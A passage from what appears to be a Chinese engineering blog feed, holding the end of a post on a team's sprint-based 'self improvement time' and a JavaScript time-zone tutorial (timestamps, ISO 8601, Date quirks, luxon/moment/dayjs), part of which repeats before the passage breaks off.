你可以選擇利用平常想玩但工作上用不到的技術來實作一些增進開發效率的工具,像是我們有成員利用這時間製作了集合我們日常開發所需工具的 CLI tool,平常需要許多步驟才能設置好的環境,現在只要透過 CLI 下個指令就通通搞定,甚至有 web UI 介面可以操作;又或者你可以學習一門新的語言,截長補短,將好的概念應用到日常工作中,舉例來說,有成員學習了 Rust 與 webassembly,將 Rust 語言在 error handling 的一些概念引進我們 Typescript 的專案(雖然這樣的作法好壞見仁見智,但就我個人看來,這種火花對團隊是非常好的)。
此外,畢竟公司是跨國團隊,語言溝通還是很重要的一個環節,利用這時間來增進你的英文或其他語言的水平,對個人與公司都是有極大的好處。
除了上述這些偏向個人取向的例子外,也可以是組成一個小團隊來執行 self improvement 專案,像是前後端工程師互相舉辦 workshop,讓前端學習後端,後端了解前端;或是組織系統設計的讀書會,一起思考設計產品系統等等。
上述是三步驟中的第一步驟,也就是你要利用 self improvement time 做什麼。基本上只要能規範在我們定義的三大分類中,你做什麼都是可以的。
再來是執行面,我們訂定 two-week sprint 中的最後兩天作為 self improvement time,在每次的 sprint planning 與 backlog refinement meeting 時,必須考量到實際工作天數只有八天,依此來權衡各項 task 的優先順序,並依照先前的 sprint velocity 調整放進sprint 的點數。
而最後那兩天其實也並非整整 16 小時都是 self improvement time,我們把 sprint review, demo 與 retrospective meeting 分插到這兩天內。會想將這些 ceremonies 與 self improvement time 放在一起是有原因的,首先,每次開完 sprint review/demo 與 retrospective 後,工作效率通常不會太好,畢竟是一個 sprint 的結束,將 self improvement time 安排在同一時間內,不僅能提升大家士氣,也比較好用來說服 PM 們;另外,雖然 review、demo 與 retrospective 算是 scrum ceremonies 內比較輕鬆的部分,但就我們團隊內部觀察下來,我們也是會花費不少時間在分析檢討,將他們拆分成不同時段的會議,也有助於大家更能集中精神、更有效率。
最後一個步驟是 outcome,我們利用公司資源,把時間花在進行 self improvement 上,總是要做出點什麼成果才說得過去,對吧?
這樣的想法是很自然的,但執行起來有很多面向要考慮,首先,要確保成員信任這個機制並不會影響到你的績效考核,否則所謂的 20% time 就不是 80% + 20%,而是 100% + 20%,額外增加了更多的壓力在成員身上,這就本末倒置了。
再來就是不該限制形式,我們鼓勵大家舉辦 sharing、workshop、open source 或甚至是參加 conference 的方式去展現你的成果,但沒有任何硬性規定。
每個月,我們會舉辦一次內部的簡單分享會,讓大家自由得談論各自在 self improvement time 中做了哪些事情,還有哪些想做、有沒有需要找人一起幫忙的等等。在分享會上,我們不批判你的進度與成就多寡,我們專注在這過程中,你『有沒有獲得』些什麼。
在一個大家都有同樣共識,且優質的團隊內,你會發現這樣看似過於自由奔放的機制,反而能驅動大家去做出很棒的東西,以我們團隊的例子來說,有人因為這多出來的時間,有機會在公司內部工程部落格中發表研究成果,也有人撰寫了一整套 CI 自動化測試的工具,能夠推廣給公司內其他團隊使用,並寫出完整的說明文件。
你或許會說這些人就算沒有 self improvement time 也會做這些事,但重點就是,讓他們在工作的時間內完成,對成員本身來說的感覺就很好,更別提能讓他們有更多的時間去接觸專業外的事物,接收不同的刺激,理論上能更加反饋到專業能力上頭。
說得這麼美好,實際的執行過程中,也是有一些阻礙,否則就也不會有網路上一堆關於 Google 20% time 神話破滅的討論了(The Myth Of Google's 20% Time. It is one of the most enduring innovation ideas, but it may not be all that it seems, The truth about Google's famous '20% time' policy, Google 創新「80/20」法則名存實亡?員工時間分配技巧是創新最大考驗 ),就連待過谷歌的前雅虎 CEO Malissa Mayer 都說那其實是 120% time 了。
在試驗的一個季度內,我們總共執行了兩次 monthly sharing,每一次都會收集一些 feedback 來做調整,大致上觀察到的阻礙有以下幾點:
真的不知道要做什麼。不是每個工程師都有想要做的 side project。
難以在平常的工作時間切換思緒,去做增進自我的專案。
self improvement 計畫只有在我們團隊內部執行,許多跟其他團隊有相依性的事務很難真的在那兩天內排開,加上後端團隊都有 on call schedule。
這幾點是比較難解決的必然問題,對於不知道要做些什麼的成員,我們會由其他成員來帶動,邀請他們加入其他已經在進行的專案;覺得無法適應如此切換工作狀態的成員,我們也不勉強,先以安排工作上一些比較沒時間處理的 refactor 或 tech debt 給對方,讓他們慢慢適應;而至於與其他團隊的合作上,我們也會告知他們我們的 scrum 時程,在不影響公司主體專案進行下,調整 schedule,並在必要時給予 support,但還是以不打擾成員兩天的 self improvement time 為基本準則。
上述問題用這樣的處理方式到目前為止算是還算穩當,但畢竟才執行一個季度,後續還需要繼續觀察調整。
對於我個人來說,困難的部分在於要捨得在那兩天確切的放下工作上的項目。即便在 sprint planning 時已經把時間也考慮進去了,但在實作 tasks 的過程,不免會有一些突發狀況,或是靈光一閃想要多做些什麼東西,這時候在那兩天內我還是會偶而會忍不住偷做一下工作的內容,但由於 self improvement 計畫並沒有規定要有多少產出,也不在績效內,所以並不至於到變成 120% time。
另外還有一點值得一提。
在前面我說過,我們為了不增加大家的負擔,盡量不限縮成果分享的形式與內容多寡,但我們是很明確的跟大家說明『一定要空出兩天作為 self improvement 計畫』,算是強制性要求大家參與,若是連參與本身都不強制,那整個計畫很容易就流於形式,到最後就不知不覺得消失了。
就如同前面提供的許多關於 Google 20% time 機制的討論,這件事情執行起來很容易不小心就走歪,絕對不是適合每間公司每個團隊都採取這樣的做法,但至少是值得大家拿出來討論看看,是否能對你的團隊造成正面影響。我也不會覺得我們團隊能夠依照現在的步調走到多遠,但不斷的試驗與調整不就是工程師最擅長的嗎?大家又是怎麼看待這件事情呢?歡迎大家一起提出觀點討論!
]]>部落格需要顯示發佈時間,餐廳網站要顯示訂位時間,拍賣網站則是要顯示訂單的各種時間,無論你做什麼,都會碰到「顯示時間」這個很常見的需求。
這問題看似簡單,不就是顯示個時間嗎?但如果牽扯上「時區」的話,問題就會變得再更複雜一些。以時區來說,通常會有這幾個需求:
而這還只是顯示的部分而已,還有另外一個部分是與後端的溝通,這個我們可以待會再提,但總之呢,要正確處理時間跟時區並不是一件簡單的事。
在最近這一兩份工作剛好都有碰過相關的問題,因此對這一塊有點小小心得,就寫了這一篇來跟大家分享一下。
要談時間,我比較喜歡從 timestamp 開始談起,或講得更精確一點是 Unix timestamp。
什麼是 timestamp 呢?你打開 devtool 的 console 然後輸入:console.log(new Date().getTime())
,出來的東西就是我們所謂的 timestamp。
而這個 timestamp 指的是:「從 UTC+0 時區的 1970 年 1 月 1 號 0 時 0 分 0 秒開始,總共過了多少毫秒」,而我寫這篇文章的時候得出來的值是 1608905630674。
ECMAScript 的 spec 是這樣寫的:
20.4.1.1 Time Values and Time Range
Time measurement in ECMAScript is analogous to time measurement in POSIX, in particular sharing definition in terms of the proleptic Gregorian calendar, an epoch of midnight at the beginning of 01 January, 1970 UTC, and an accounting of every day as comprising exactly 86,400 seconds (each of which is 1000 milliseconds long).
在 Unix 系統中的時間就是這樣表示的,而許多程式語言得到的 timestamp 也都是類似的表示方法,但有些可能只能精確到「秒」,有些可以精確到「毫秒」,如果你發現程式碼中有些地方需要除以 1000 或是乘以 1000,就很有可能是在做秒跟毫秒的轉換。
上面我們有提到「UTC +0」這東西,這其實就是 +0 時區的意思。
舉例來說,臺灣的時區是 +8,或如果要講得更標準一點,就是 GMT +8 或是 UTC +8,這兩者的區別可以參考:到底是 GMT+8 還是 UTC+8 ?,現在的標準基本上都是 UTC 了,所以這篇文章接下來都只會用 UTC。
有了一些基本概念之後,可以來談該如何儲存時間。其中一種儲存方式就是存上面所說的 timestamp,但缺點是無法用肉眼直接看出時間是什麼,一定要經過轉換。
而另外一種儲存時間的標準叫做 ISO 8601,在許多地方你都可以發現它的蹤影。
例如說 OpenAPI 裡面有定義了一個格式叫做 date-time
,它的敘述是這樣寫的:
the date-time notation as defined by RFC 3339, section 5.6, for example, 2017-07-21T17:32:28Z
如果你直接去看 RFC 3339 的話,開頭的摘要就已經寫明了:
This document defines a date and time format for use in Internet protocols that is a profile of the ISO 8601 standard for representation of dates and times using the Gregorian calendar.
那這到底是個什麼樣的格式呢?其實就是像 2020-12-26T12:38:00Z
這種格式,用字串表現一個帶有時區的時間。
更詳細的規則可以看 RFC:
RFC 的規則會定義的比較完整,但總而言之就是我上面說的那種形式,然後最後面如果是 Z 就代表 UTC +0,如果要其他時區可以這樣寫:2020-12-26T12:38:00+08:00
,代表 +8 時區的 12 月 26 號 12 點 38 分 0 秒。
在 JavaScript 裡面則是基於一個 ISO 8601 的延伸格式,在 ECMAScript spec 中的 20.4.1.15 Date Time String Format 有提到 :
其中比較有趣的是年份的部分,除了大家所熟知的四位數 0000~9999 之外,居然還可以有一個六位數的,而且可以有負數,可以表示西元前的年份:
理解了表示時間的標準格式以後,有個重要的觀念要先銘記在心,那就是時間的相對性。
舉例來說,1593163158 這個 timestamp 代表的是:
「UTC +0 時區的 2020-06-26 09:19:00」,同時也代表著
「UTC +8 時區的 2020-06-26 17:19:00」,這兩個時間是一樣的,都是同一個時間。
所以當你拿到一個 timestamp 以後,你無法從 timestamp 本身知道你應該要顯示成什麼時區的時間。
談完了這些概念之後,我們來聊聊 JS 中怎麼處理這些時間。
在 JS 裡面你可以用 Date
來處理時間相關的需求,例如說 new Date()
可以產生出現在的時間,然後 new Date().toISOString()
就可以產生 ISO 8601 格式的字串,像是:2020-12-26T04:52:26.255Z
。
在 new Date()
裡面放上參數的話則是會幫你 parse 時間,例如說 new Date(1593163158000)
或是 new Date('2020-12-26T04:52:26.255Z')
。
除此之外還有許多 function 可以幫你拿到時間的各個部分,以上面那個字串 2020-12-26T04:52:26.255Z
為例,我們用 new Date('2020-12-26T04:52:26.255Z')
搭配底下的各個 function:
有幾個部分看起來完全沒問題,但有些部分看起來很怪,我們挑那些怪異的部分來講解。
你可能預期會拿到 2020 但卻拿到了 120,因為 getYear 會是年份 - 1900 之後的結果,如果你想拿到 2020 要用 getFullYear
。
你會預期拿到 12,但卻拿到了 11,這是因為這邊拿到的數字會從 0 開始,所以如果是 1 月會拿到 0,因此 12 月拿到了 11。
傳進去的時間是 4,所以你預期會拿到 4,但卻拿到了 12。這是因為 JS 在進行這些操作之前,都有一個步驟是把時間轉成「Local Time」:
因此 UTC +0 的 4 點,轉成 UTC +8 就變成 12 點了,因此拿到的就會是 12。
先不論最後那個轉成 local time 的特性,一定有很多人疑惑說為什麼月份要 - 1,然後 getYear 不好好回傳年份就好了。這些設計其實並不是 JS 獨創的,而是直接從 Java 1.0 抄過來的。
雖然說 JavaScript 跟 Java 現在確實沒什麼關係,但在 JavaScript 剛誕生的時候它跟 Java 的淵源其實很深(不然怎麼會取叫這個名字),本來就希望能夠在語法上看起來像是 Java,吸引 Java 的開發者,所以會直接從 Java 1.0 把 java.util.Date 整個抄過來好像也是件能理解的事情。
不過這些設計其實在 JDK 1.1 之後就被 deprecated 了,只是 JavaScript 礙於向下相容的關係只能繼續使用。現在依然可以在 Java 的文件中找到 getMonth 以及 getYear 的說明。
而 getYear 會回傳 -1900 之後的結果在當時應該也是一件正常的事,因為那時候在儲存年份時好像習慣儲存兩位數,例如說 1987 就存 87 而已。這也導致了後來的千禧蟲危機,Year 2000 Problem(簡稱 Y2K),在 2000 年的時候年份會變成 00。
上面這些歷史在 JavaScript: the first 20 years 裡面都有提到,Java date 那一段在第 19 頁。
用 new Date(string)
就等於 Date.parse(string)
,可以讓 JS 來幫你解析一個字串並轉換成時間。如果你給的字串符合標準格式的話那沒有問題,但如果不符合標準的話,就會根據實作的不同而有不同的結果:
這就是需要小心的地方了,比如說這兩個字串:
new Date('2020-02-10')
new Date('2020/02/10')
不都是 2020 年 2 月 10 號嗎?
但如果你在 Chrome devtool 上面執行,會發現些微的不同:
根據 spec 的說法:
When the UTC offset representation is absent, date-only forms are interpreted as a UTC time and date-time forms are interpreted as a local time.
前者是符合 ISO 8601 格式的,所以被解析成為 UTC +0 的 2 月 10 號 0 點 0 分,所以我們看到的結果才會是 +8 時區的 8 點。
而後者並不符合 ISO 8601 格式,所以會根據實作不同而產生不同的結果,而看起來第二種格式 V8 會當作是 local time,V8 的 date parser 在這裡:src/date/dateparser-inl.h(不過我也還沒找到是哪一段造成這個結果就是了)。
還有另外一個常見的非標準格式是這樣:2020-02-02 13:00:00
這個格式少了一個 T,在 Safari 上面會直接回給你一個 Invalid Date,而在 Chrome 上面則可以正常解析。這我其實覺得滿合理的,你丟一個非標準格式的東西,本來就是 invalid。瀏覽器可以正常解析是額外幫你多做事,但不能正常解析你也不能怪它。
補充:感謝 othree 的留言補充以及討論,這邊其實有一個小細節在
前面有提到 ISO 8601 跟 RFC3339,這兩個其實有一點細微的差異。
在 ISO 8601 裡面寫著:
The character [T] shall be used as time designator to indicate the start of the representation of the time of day component in these expressions.
NOTE By mutual agreement of the partners in information interchange, the character [T] may be omitted in applications where there is no risk of confusing a date and time of day representation with others defined in this International Standard.
也就是說在 ISO 8601 的標準裡面,T 這個字元在溝通的雙方都同意之下是可以省略的,會變成像是:2020-02-0213:00:00 這樣。
而在 RFC3339 裡面則是寫著:
NOTE: ISO 8601 defines date and time separated by "T". Applications using this syntax may choose, for the sake of readability, to specify a full-date and full-time separated by (say) a space character.
所以 RFC3339 為了可讀性,是可以用空白取代 T 的。因此用空白來分割的字串,遵守 RFC3339 但不遵守 ISO 8601。
那 ECMAScript 是哪一種呢?根據 spec 上的說明,看起來 T 也是必須要有的,所以 在 ECMAScript 裡面一個正確的 date time 需要用 T 來分隔,不能用空白取代。
但有趣的事情來了,那就是在 ES5 之前,其實 ECMAScript 的規格裡對於 date time 的格式是沒有說明的,也就是說並沒有講什麼才是標準的格式,所以少了一個 T 也可以解析可以當作是為了支援以前的實作而保留的行為。
(參考資料:In an ISO 8601 date, is the T character mandatory?、Allow space to seperate date and time as per RFC3339)
總之呢,加上 T 之後就沒問題了,加上去之後會變成少了時區的 date time:2020-02-02T13:00:00
。
丟到 Chrome 之後是:Sun Feb 02 2020 13:00:00 GMT+0800
丟到 Safari 之後是:Sun Feb 02 2020 21:00:00 GMT+0800
根據我們上面貼的 spec 節錄,如果缺少了時區而且是 date time format 的話,應該要當作是 local time 才對,所以 Chrome 的做法是正確的,但 Safari 卻把這個時間當成是 UTC +0 的時間,所以差了八個小時。
我認為這是一個 bug 啦,但是去 webkit 的 bugtracker 沒找到有人回報,或許會這樣做也是有什麼特殊的理由。
以上這些問題也可以參考前端工程研究:關於 JavaScript 中 Date 型別的常見地雷與建議作法,裡面提到了更多瀏覽器上的測試。
但總之只要把握一個原則就對了,就是用標準的格式來溝通,就不會有這些問題了。
前面講了這麼多,終於可以來談開頭講的時區的問題了。在處理時間這一塊,比較多人應該都是挑一個順眼的 library 來用,例如說 moment、date-fns、dayjs 或是 luxon 之類的,這些 library 如果沒有正確使用的話,會跟你想像的結果不同。
例如說,請問底下的輸出結果會是什麼?
luxon.DateTime
.fromISO('2020-02-02T13:00:00+03:00')
.toFormat('HH:mm:ss')
..
..
..
防雷
..
..
..
..
有許多人都會誤以為如果你的 date time 有帶 timezone 的話,format 出來的結果就會依照那個 timezone。但不是這樣的,最後 format 還是會以 local time 為主。
所以上面的例子中,由於我的電腦是臺灣 +8 時區,所以結果會是 18:00:00 而不是 13:00:00。
這點大家一定要記住,無論是 dayjs 或是 moment 也都一樣,如果沒有在 format 之前特別指定時區,format 出來的結果都會依照使用者當前的時區。所以同一段程式碼,在不同使用者的電腦可能會有不同的輸出。
因此 Server 端給你什麼都不重要,給你 2020-02-02T13:00:00+03:00
或是 2020-02-02T10:00:00Z
或 2020-02-02T18:00:00+08:00
,對前端來說都是一樣的,都代表著同一個時間,用 format 也都會產生出一樣的結果。
如果你想要用 date time 裡的時區為主的話,可以這樣使用:
luxon.DateTime
.fromISO('2020-02-02T13:00:00+03:00', {
setZone: true
})
.toFormat('HH:mm:ss')
但是大部分情形下會建議的做法都是由前端自行決定要顯示成哪個時區的時間,而不是由後端給的 date time 來決定。
那要怎麼決定顯示成哪個時區呢?以 luxon 來說會是這樣:
luxon.DateTime
.fromISO('2020-02-02T13:00:00+03:00')
.setZone('Asia/Tokyo')
.toFormat('HH:mm:ss')
moment 則是這樣:
moment('2020-02-02T13:00:00+03:00')
.tz('Asia/Tokyo')
.format('HH:mm:ss')
dayjs 也類似:
dayjs('2020-02-02T13:00:00+03:00')
.tz('Asia/Tokyo')
.format('HH:mm:ss')
透過這樣的方式,我們就可以保證輸出的時間一定是固定在同一個時區。什麼時候會需要這樣做呢?例如說我之前待過的一間公司是餐廳訂位的網站,後端會傳給我們餐廳可以訂位的時段,例如說下午一點,下午兩點之類的,這邊後端會用標準格式給我們,例如說:'2020-02-02T13:00:00+08:00',代表 2020 年 2 月 2 號的下午 1 點可以訂位。
在前端顯示的時候,如果只是用 moment('2020-02-02T13:00:00+08:00').format('HH:mm')
的話,在我的電腦上看會是正確的,結果會是 13:00
,這往往也是 bug 的開端,因為自己看是正確的就覺得是正確的。
若是換了一個時區,假設換到日本好了,那同一段程式碼所產生出的結果就是 12:00
,就是預期外的結果了。因為要訂的是臺灣的餐廳,所以訂位時間應該都要顯示台灣時間才對,而不是使用者電腦時區的時間。
這時候就要按照上面所說的,用:
moment('2020-02-02T13:00:00+03:00')
.tz('Asia/Taipei')
.format('HH:mm:ss')
就能夠保證在日本或在其他地方的使用者,看到的都是用臺灣時區顯示的結果。
前面講的是後端給你一個時間然後你要正確顯示出來,解法就是上面所說的,加上正確的 method,才能確保是以固定的時區顯示時間。
還有另外一種需要注意的則是相反過來,那就是前端要產生一個 date time 送到後端去。
舉例來說,延續之前餐廳訂位網站的例子好了,假設今天有一個聯絡客服的頁面要填去餐廳的日期,格式是:2020-12-26
這樣子,但你送到後端去的資料會是 date time,所以你要把它變成 ISO 8601 的標準格式。
這時候你會怎麼做呢?
有些人會想說,這不就很簡單嗎?原生的方法就是 new Date('2020-12-26').toISOString()
,如果用其他 library 可能就是:moment('2020-12-26').format()
。
但其實這是不對的。
假設去的餐廳是在台灣的餐廳,那這個 2020-12-26 就應該是台灣時間,正確的輸出應該要是:2020-12-26T00:00:00+08:00
或是 2020-12-25T16:00:00Z
之類的,簡單來說就是台灣時間的 12 月 26 號 0 點 0 分。
而上面的程式碼,你有可能產生的是「UTC +0 時區的 0 點 0 分」或者是「使用者電腦時區的 0 點 0 分」,這時候產生出來的 date time 就會是錯誤的,就有了時差。
正確的使用方式跟剛剛差不多,你需要去呼叫 timezone 相關的 method,像是這樣:
// moment
moment.tz('2020-12-26', 'Asia/Taipei').format()
// dayjs
dayjs.tz('2020-12-26', 'Asia/Taipei').format()
16:22:48.660
才能正確告訴 library 說:「我的這個日期是在台北的日期,而不是在 UTC 也不是在使用者時區」。
在處理時間的時候,最常碰到的就是多一天或是少一天的問題,明明就應該顯示 12/26,怎麼使用者看到的是 12/25?而會有這些問題,往往都跟時區有關,沒有正確處理好時區的話就會產生這些問題。
在處理時區上面只要能謹記幾個原則,就可以避免掉這些基本的問題:
不過除了這些之外,我也有想到有些問題滿有趣的,例如說生日,生日感覺就應該直接存成一個字串而不是 date time string。
假設現在有一個大型的跨國網站,然後有個會員系統,註冊的時候要填生日,假設我生日是 2020-12-26 好了,那如果要存成 date time,就會是:2020-12-26T00:00:00+08:00
。
好,這邊看起來沒什麼問題。
但顯示的話呢?要用什麼時區來顯示?看起來固定用台灣時區來顯示才不會出錯,可是這樣的話,系統也得知道我是台灣人,才能知道要用什麼時區來顯示。但是系統不一定會有這個資訊。
那看起來解法就是兩個,一個是系統直接存 2020-12-26
,不存 date time 了,前端顯示也直接顯示字串,不要當作時間來解析。另一個則是「儲存跟顯示都用 UTC +0 時區來做」,這樣應該也不會有問題。
處理時間真的不容易,而且在時間上我們常會有許多錯誤的假設,可以參考 Your Calendrical Fallacy Is... 跟 Falsehoods programmers believe about time zones,裡面都提到了許多錯誤的認知。
從文章中也可以看出原生的 date 其實已經沒有辦法負荷日常使用了,因此只要是處理時間,基本上大家一定都會找一個 library 來用。目前有一個值得關注的提案叫做 Temporal,目前處於 stage2,希望能成為未來 JS 處理日期時間相關的標準。更詳細的介紹可以參考這一篇:Temporal - Date & Time in JavaScript today! 或是這個簡報:Temporal walkthrough
最後,如果你有用 jest 寫測試,可以在 config 裡面加上 process.env.TZ = 'Asia/Taipei';
來指定測試要跑的時區,也可以直接用環境變數帶進去。
我自己習慣的做法是在兩個不同的時區都跑跑看,測試都有過才代表你是真的有寫對,而不只是誤打誤撞才寫對。
]]>部落格需要顯示發佈時間,餐廳網站要顯示訂位時間,拍賣網站則是要顯示訂單的各種時間,無論你做什麼,都會碰到「顯示時間」這個很常見的需求。
這問題看似簡單,不就是顯示個時間嗎?但如果牽扯上「時區」的話,問題就會變得再更複雜一些。以時區來說,通常會有這幾個需求:
而這還只是顯示的部分而已,還有另外一個部分是與後端的溝通,這個我們可以待會再提,但總之呢,要正確處理時間跟時區並不是一件簡單的事。
在最近這一兩份工作剛好都有碰過相關的問題,因此對這一塊有點小小心得,就寫了這一篇來跟大家分享一下。
要談時間,我比較喜歡從 timestamp 開始談起,或講得更精確一點是 Unix timestamp。
什麼是 timestamp 呢?你打開 devtool 的 console 然後輸入:console.log(new Date().getTime())
,出來的東西就是我們所謂的 timestamp。
而這個 timestamp 指的是:「從 UTC+0 時區的 1970 年 1 月 1 號 0 時 0 分 0 秒開始,總共過了多少毫秒」,而我寫這篇文章的時候得出來的值是 1608905630674。
ECMAScript 的 spec 是這樣寫的:
20.4.1.1 Time Values and Time Range
Time measurement in ECMAScript is analogous to time measurement in POSIX, in particular sharing definition in terms of the proleptic Gregorian calendar, an epoch of midnight at the beginning of 01 January, 1970 UTC, and an accounting of every day as comprising exactly 86,400 seconds (each of which is 1000 milliseconds long).
在 Unix 系統中的時間就是這樣表示的,而許多程式語言得到的 timestamp 也都是類似的表示方法,但有些可能只能精確到「秒」,有些可以精確到「毫秒」,如果你發現程式碼中有些地方需要除以 1000 或是乘以 1000,就很有可能是在做秒跟毫秒的轉換。
上面我們有提到「UTC +0」這東西,這其實就是 +0 時區的意思。
舉例來說,臺灣的時區是 +8,或如果要講得更標準一點,就是 GMT +8 或是 UTC +8,這兩者的區別可以參考:到底是 GMT+8 還是 UTC+8 ?,現在的標準基本上都是 UTC 了,所以這篇文章接下來都只會用 UTC。
有了一些基本概念之後,可以來談該如何儲存時間。其中一種儲存方式就是存上面所說的 timestamp,但缺點是無法用肉眼直接看出時間是什麼,一定要經過轉換。
而另外一種儲存時間的標準叫做 ISO 8601,在許多地方你都可以發現它的蹤影。
例如說 OpenAPI 裡面有定義了一個格式叫做 date-time
,它的敘述是這樣寫的:
the date-time notation as defined by RFC 3339, section 5.6, for example, 2017-07-21T17:32:28Z
如果你直接去看 RFC 3339 的話,開頭的摘要就已經寫明了:
This document defines a date and time format for use in Internet protocols that is a profile of the ISO 8601 standard for representation of dates and times using the Gregorian calendar.
那這到底是個什麼樣的格式呢?其實就是像 2020-12-26T12:38:00Z
這種格式,用字串表現一個帶有時區的時間。
更詳細的規則可以看 RFC:
RFC 的規則會定義的比較完整,但總而言之就是我上面說的那種形式,然後最後面如果是 Z 就代表 UTC +0,如果要其他時區可以這樣寫:2020-12-26T12:38:00+08:00
,代表 +8 時區的 12 月 26 號 12 點 38 分 0 秒。
在 JavaScript 裡面則是基於一個 ISO 8601 的延伸格式,在 ECMAScript spec 中的 20.4.1.15 Date Time String Format 有提到 :
其中比較有趣的是年份的部分,除了大家所熟知的四位數 0000~9999 之外,居然還可以有一個六位數的,而且可以有負數,可以表示西元前的年份:
理解了表示時間的標準格式以後,有個重要的觀念要先銘記在心,那就是時間的相對性。
舉例來說,1593163158 這個 timestamp 代表的是:
「UTC +0 時區的 2020-06-26 09:19:00」,同時也代表著
「UTC +8 時區的 2020-06-26 17:19:00」,這兩個時間是一樣的,都是同一個時間。
所以當你拿到一個 timestamp 以後,你無法從 timestamp 本身知道你應該要顯示成什麼時區的時間。
談完了這些概念之後,我們來聊聊 JS 中怎麼處理這些時間。
在 JS 裡面你可以用 Date
來處理時間相關的需求,例如說 new Date()
可以產生出現在的時間,然後 new Date().toISOString()
就可以產生 ISO 8601 格式的字串,像是:2020-12-26T04:52:26.255Z
。
在 new Date()
裡面放上參數的話則是會幫你 parse 時間,例如說 new Date(1593163158000)
或是 new Date('2020-12-26T04:52:26.255Z')
。
除此之外還有許多 function 可以幫你拿到時間的各個部分,以上面那個字串 2020-12-26T04:52:26.255Z
為例,我們用 new Date('2020-12-26T04:52:26.255Z')
搭配底下的各個 function:
有幾個部分看起來完全沒問題,但有些部分看起來很怪,我們挑那些怪異的部分來講解。
你可能預期會拿到 2020 但卻拿到了 120,因為 getYear 會是年份 - 1900 之後的結果,如果你想拿到 2020 要用 getFullYear
。
你會預期拿到 12,但卻拿到了 11,這是因為這邊拿到的數字會從 0 開始,所以如果是 1 月會拿到 0,因此 12 月拿到了 11。
傳進去的時間是 4,所以你預期會拿到 4,但卻拿到了 12。這是因為 JS 在進行這些操作之前,都有一個步驟是把時間轉成「Local Time」:
因此 UTC +0 的 4 點,轉成 UTC +8 就變成 12 點了,因此拿到的就會是 12。
先不論最後那個轉成 local time 的特性,一定有很多人疑惑說為什麼月份要 - 1,然後 getYear 不好好回傳年份就好了。這些設計其實並不是 JS 獨創的,而是直接從 Java 1.0 抄過來的。
雖然說 JavaScript 跟 Java 現在確實沒什麼關係,但在 JavaScript 剛誕生的時候它跟 Java 的淵源其實很深(不然怎麼會取叫這個名字),本來就希望能夠在語法上看起來像是 Java,吸引 Java 的開發者,所以會直接從 Java 1.0 把 java.util.Date 整個抄過來好像也是件能理解的事情。
不過這些設計其實在 JDK 1.1 之後就被 deprecated 了,只是 JavaScript 礙於向下相容的關係只能繼續使用。現在依然可以在 Java 的文件中找到 getMonth 以及 getYear 的說明。
而 getYear 會回傳 -1900 之後的結果在當時應該也是一件正常的事,因為那時候在儲存年份時好像習慣儲存兩位數,例如說 1987 就存 87 而已。這也導致了後來的千禧蟲危機,Year 2000 Problem(簡稱 Y2K),在 2000 年的時候年份會變成 00。
上面這些歷史在 JavaScript: the first 20 years 裡面都有提到,Java date 那一段在第 19 頁。
用 new Date(string)
就等於 Date.parse(string)
,可以讓 JS 來幫你解析一個字串並轉換成時間。如果你給的字串符合標準格式的話那沒有問題,但如果不符合標準的話,就會根據實作的不同而有不同的結果:
這就是需要小心的地方了,比如說這兩個字串:
new Date('2020-02-10')
new Date('2020/02/10')
不都是 2020 年 2 月 10 號嗎?
但如果你在 Chrome devtool 上面執行,會發現些微的不同:
根據 spec 的說法:
When the UTC offset representation is absent, date-only forms are interpreted as a UTC time and date-time forms are interpreted as a local time.
前者是符合 ISO 8601 格式的,所以被解析成為 UTC +0 的 2 月 10 號 0 點 0 分,所以我們看到的結果才會是 +8 時區的 8 點。
而後者並不符合 ISO 8601 格式,所以會根據實作不同而產生不同的結果,而看起來第二種格式 V8 會當作是 local time,V8 的 date parser 在這裡:src/date/dateparser-inl.h(不過我也還沒找到是哪一段造成這個結果就是了)。
還有另外一個常見的非標準格式是這樣:2020-02-02 13:00:00
這個格式少了一個 T,在 Safari 上面會直接回給你一個 Invalid Date,而在 Chrome 上面則可以正常解析。這我其實覺得滿合理的,你丟一個非標準格式的東西,本來就是 invalid。瀏覽器可以正常解析是額外幫你多做事,但不能正常解析你也不能怪它。
補充:感謝 othree 的留言補充以及討論,這邊其實有一個小細節在
前面有提到 ISO 8601 跟 RFC3339,這兩個其實有一點細微的差異。
在 ISO 8601 裡面寫著:
The character [T] shall be used as time designator to indicate the start of the representation of the time of day component in these expressions.
NOTE By mutual agreement of the partners in information interchange, the character [T] may be omitted in applications where there is no risk of confusing a date and time of day representation with others defined in this International Standard.
也就是說在 ISO 8601 的標準裡面,T 這個字元在溝通的雙方都同意之下是可以省略的,會變成像是:2020-02-0213:00:00 這樣。
而在 RFC3339 裡面則是寫著:
NOTE: ISO 8601 defines date and time separated by "T". Applications using this syntax may choose, for the sake of readability, to specify a full-date and full-time separated by (say) a space character.
所以 RFC3339 為了可讀性,是可以用空白取代 T 的。因此用空白來分割的字串,遵守 RFC3339 但不遵守 ISO 8601。
那 ECMAScript 是哪一種呢?根據 spec 上的說明,看起來 T 也是必須要有的,所以 在 ECMAScript 裡面一個正確的 date time 需要用 T 來分隔,不能用空白取代。
但有趣的事情來了,那就是在 ES5 之前,其實 ECMAScript 的規格裡對於 date time 的格式是沒有說明的,也就是說並沒有講什麼才是標準的格式,所以少了一個 T 也可以解析可以當作是為了支援以前的實作而保留的行為。
(參考資料:In an ISO 8601 date, is the T character mandatory?、Allow space to seperate date and time as per RFC3339)
總之呢,加上 T 之後就沒問題了,加上去之後會變成少了時區的 date time:2020-02-02T13:00:00
。
丟到 Chrome 之後是:Sun Feb 02 2020 13:00:00 GMT+0800
丟到 Safari 之後是:Sun Feb 02 2020 21:00:00 GMT+0800
根據我們上面貼的 spec 節錄,如果缺少了時區而且是 date time format 的話,應該要當作是 local time 才對,所以 Chrome 的做法是正確的,但 Safari 卻把這個時間當成是 UTC +0 的時間,所以差了八個小時。
我認為這是一個 bug 啦,但是去 webkit 的 bugtracker 沒找到有人回報,或許會這樣做也是有什麼特殊的理由。
以上這些問題也可以參考前端工程研究:關於 JavaScript 中 Date 型別的常見地雷與建議作法,裡面提到了更多瀏覽器上的測試。
但總之只要把握一個原則就對了,就是用標準的格式來溝通,就不會有這些問題了。
前面講了這麼多,終於可以來談開頭講的時區的問題了。在處理時間這一塊,比較多人應該都是挑一個順眼的 library 來用,例如說 moment、date-fns、dayjs 或是 luxon 之類的,這些 library 如果沒有正確使用的話,會跟你想像的結果不同。
例如說,請問底下的輸出結果會是什麼?
luxon.DateTime
.fromISO('2020-02-02T13:00:00+03:00')
.toFormat('HH:mm:ss')
..
..
..
防雷
..
..
..
..
